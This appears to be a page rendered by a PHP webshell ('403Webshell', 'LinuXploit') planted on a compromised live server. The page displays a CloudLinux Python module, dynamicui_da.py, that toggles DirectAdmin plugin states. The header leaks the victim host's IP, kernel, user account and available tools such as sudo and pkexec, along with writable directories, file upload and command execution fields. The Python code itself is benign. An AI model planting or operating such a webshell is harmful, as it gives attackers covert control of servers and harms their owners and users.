- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.226.187.60
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/l.v.e-manager/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/l.v.e-manager/utils/dynamicui_da.py
# coding:utf-8

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
import os
import sys

from dynamicui_base import DynamicUIBase

sys.path.append(os.path.dirname(__file__))

from lvemanager.config_parser import SectionlessConfigParser
from clcommon.ui_config import UIConfig


class DynamicUIDA(DynamicUIBase):

    da_plugin_conf_file = '/usr/local/directadmin/plugins/{}/plugin.conf'.format

    def sync(self, plugin):
        if plugin == 'all':
            self.sync_nodejs()
            self.sync_python()
            self.sync_resource_usage()
            self.sync_xray()
            self.sync_awp()
        elif plugin == 'nodejs':
            self.sync_nodejs()
        elif plugin == 'python':
            self.sync_python()
        elif plugin == 'resource_usage':
            self.sync_resource_usage()
        elif plugin == 'xray':
            self.sync_xray()
        elif plugin == 'awp':
            self.sync_awp()

    def sync_nodejs(self):
        from clselect.clselectnodejs.node_manager import NodeManager
        self.set_plugin_active('nodejs_selector', NodeManager().selector_enabled)

    def sync_python(self):
        from clselect.clselectpython.python_manager import PythonManager
        self.set_plugin_active('python_selector', PythonManager().selector_enabled)

    def sync_resource_usage(self):
        try:
            self.set_plugin_active('resource_usage',
                                   UIConfig().get_param('hideLVEUserStat', 'uiSettings') is False)
        except IOError:
            return None

    def sync_xray(self):
        try:
            self.set_plugin_active('xray', UIConfig().get_param('hideXrayApp', 'uiSettings') is False)
        except IOError:
            return None

    def sync_awp(self):
        try:
            self.set_plugin_active('awp', UIConfig().get_param('hideAccelerateWPApp', 'uiSettings') is False)
        except IOError:
            return None

    def set_plugin_active(self, plugin_name, state):
        config = SectionlessConfigParser()
        config_file = self.da_plugin_conf_file(plugin_name)
        config.read(config_file)
        config.set('__config__', 'active', 'yes' if state else 'no')
        with open(config_file, 'w') as f:
            config.write(f)

Youez - 2016 - github.com/yon3zu
LinuXploit